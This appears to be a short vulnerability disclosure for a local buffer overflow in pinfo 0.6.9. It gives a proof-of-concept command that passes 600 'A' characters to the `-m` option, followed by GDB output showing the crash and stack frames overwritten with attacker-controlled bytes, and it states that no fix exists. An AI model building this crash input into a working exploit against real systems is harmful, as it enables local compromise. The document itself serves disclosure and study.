pinfo 0.6.9 - Local Buffer Overflow

2017-04-18 03:05:03

# Title: pinfo v0.6.9 - Local Buffer Overflow
# Author: Nassim Asrir
# Researcher at: Henceforth
# Author contact: <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="77001604041b1e191237101a161e1b5914181a">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> || https://www.linkedin.com/in/nassim-asrir-b73a57122/
# CVE: N/A

# Download #

$ apt-get install pinfo

# POC #

For any Question or discussion about this vuln: https://www.facebook.com/asrirnassim/

$ pinfo -m `python -c 'print "A"*600'`
Przemek's Info Viewer v0.6.9
Looking for man page...

Caught signal 11, bye!
Segmentation fault


# GDB Output #

$ gdb pinfo

(gdb) r -m `python -c 'print "A"*600'`

Program received signal SIGSEGV, Segmentation fault.
__GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84
84 getenv.c: No such file or directory.

(gdb) info registers
rax 0x54 84
rbx 0x4141414141414141 4702111234474983745 <====
rcx 0x1a8 424
rdx 0x10 16
rsi 0x7fffffffdaae 140737488345774
rdi 0x7ffff79831a8 140737347334568
rbp 0x7fffffffe0a8 0x7fffffffe0a8
rsp 0x7fffffffda90 0x7fffffffda90
r8 0x0 0
r9 0x20 32
r10 0x1ec 492
r11 0x7ffff796c630 140737347241520
r12 0x4554 17748
r13 0x4 4
r14 0x2 2
r15 0x7ffff79831aa 140737347334570
rip 0x7ffff73c911d 0x7ffff73c911d <__GI_getenv+173>
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0

(gdb) where
#0 __GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84
#1 0x00007ffff796c661 in initscr () from /lib/x86_64-linux-gnu/libncursesw.so.5
#2 0x000055555556214a in ?? ()
#3 0x000055555555f165 in ?? ()
#4 0x0000555555557552 in ?? ()
#5 0x4141414141414141 in ?? ()
#6 0x4141414141414141 in ?? ()
#7 0x4141414141414141 in ?? ()
#8 0x4141414141414141 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x4141414141414141 in ?? ()
#11 0x4141414141414141 in ?? ()
#12 0x4141414141414141 in ?? ()
#13 0x4141414141414141 in ?? ()
#14 0x4141414141414141 in ?? ()
#15 0x4141414141414141 in ?? ()
#16 0x4141414141414141 in ?? ()
#17 0x4141414141414141 in ?? ()
#18 0x4141414141414141 in ?? ()
#19 0x4141414141414141 in ?? ()
#20 0x4141414141414141 in ?? ()
#21 0x4141414141414141 in ?? ()
#22 0x4141414141414141 in ?? ()
#23 0x4141414141414141 in ?? ()
#24 0x4141414141414141 in ?? ()
#25 0x4141414141414141 in ?? ()
#26 0x4141414141414141 in ?? ()
#27 0x4141414141414141 in ?? ()
#28 0x4141414141414141 in ?? ()
#29 0x4141414141414141 in ?? ()
#30 0x4141414141414141 in ?? ()
#31 0x4141414141414141 in ?? ()
#32 0x4141414141414141 in ?? ()
#33 0x4141414141414141 in ?? ()
#34 0x4141414141414141 in ?? ()
#35 0x4141414141414141 in ?? ()
#36 0x4141414141414141 in ?? ()
#37 0x4141414141414141 in ?? ()
#38 0x4141414141414141 in ?? ()
#39 0x4141414141414141 in ?? ()
#40 0x4141414141414141 in ?? ()
#41 0x00007fffffff0020 in ?? ()
#42 0x00007fffffffebaa in ?? ()
---Type <return> to continue, or q <return> to quit---
#43 0x00007fffffffebc2 in ?? ()
#44 0x00007fffffffebd6 in ?? ()
#45 0x00007fffffffebe1 in ?? ()
#46 0x00007fffffffec07 in ?? ()
#47 0x00007fffffffec18 in ?? ()
#48 0x00007fffffffec48 in ?? ()
#49 0x00007fffffffec52 in ?? ()
#50 0x00007fffffffec73 in ?? ()
#51 0x00007fffffffec7d in ?? ()
#52 0x00007fffffffec86 in ?? ()
#53 0x00007fffffffec91 in ?? ()
#54 0x00007fffffffeca4 in ?? ()
#55 0x00007fffffffecb7 in ?? ()
#56 0x00007fffffffeccc in ?? ()
#57 0x00007fffffffed08 in ?? ()
#58 0x00007fffffffed33 in ?? ()
#59 0x00007fffffffed58 in ?? ()
#60 0x00007fffffffed63 in ?? ()
#61 0x00007fffffffed74 in ?? ()
#62 0x00007fffffffed84 in ?? ()
#63 0x00007fffffffed8f in ?? ()
#64 0x00007fffffffedc3 in ?? ()
#65 0x00007fffffffeddc in ?? ()
#66 0x00007fffffffee0d in ?? ()
#67 0x00007fffffffee30 in ?? ()
#68 0x00007fffffffee3f in ?? ()
#69 0x00007fffffffee47 in ?? ()
#70 0x00007fffffffee59 in ?? ()
#71 0x00007fffffffee75 in ?? ()
#72 0x00007fffffffee82 in ?? ()
#73 0x00007fffffffeeb5 in ?? ()
#74 0x00007fffffffeed1 in ?? ()
#75 0x00007fffffffeeee in ?? ()
#76 0x00007fffffffef28 in ?? ()
#77 0x00007fffffffef97 in ?? ()
#78 0x0000000000000000 in ?? ()

Fixes

No fixes

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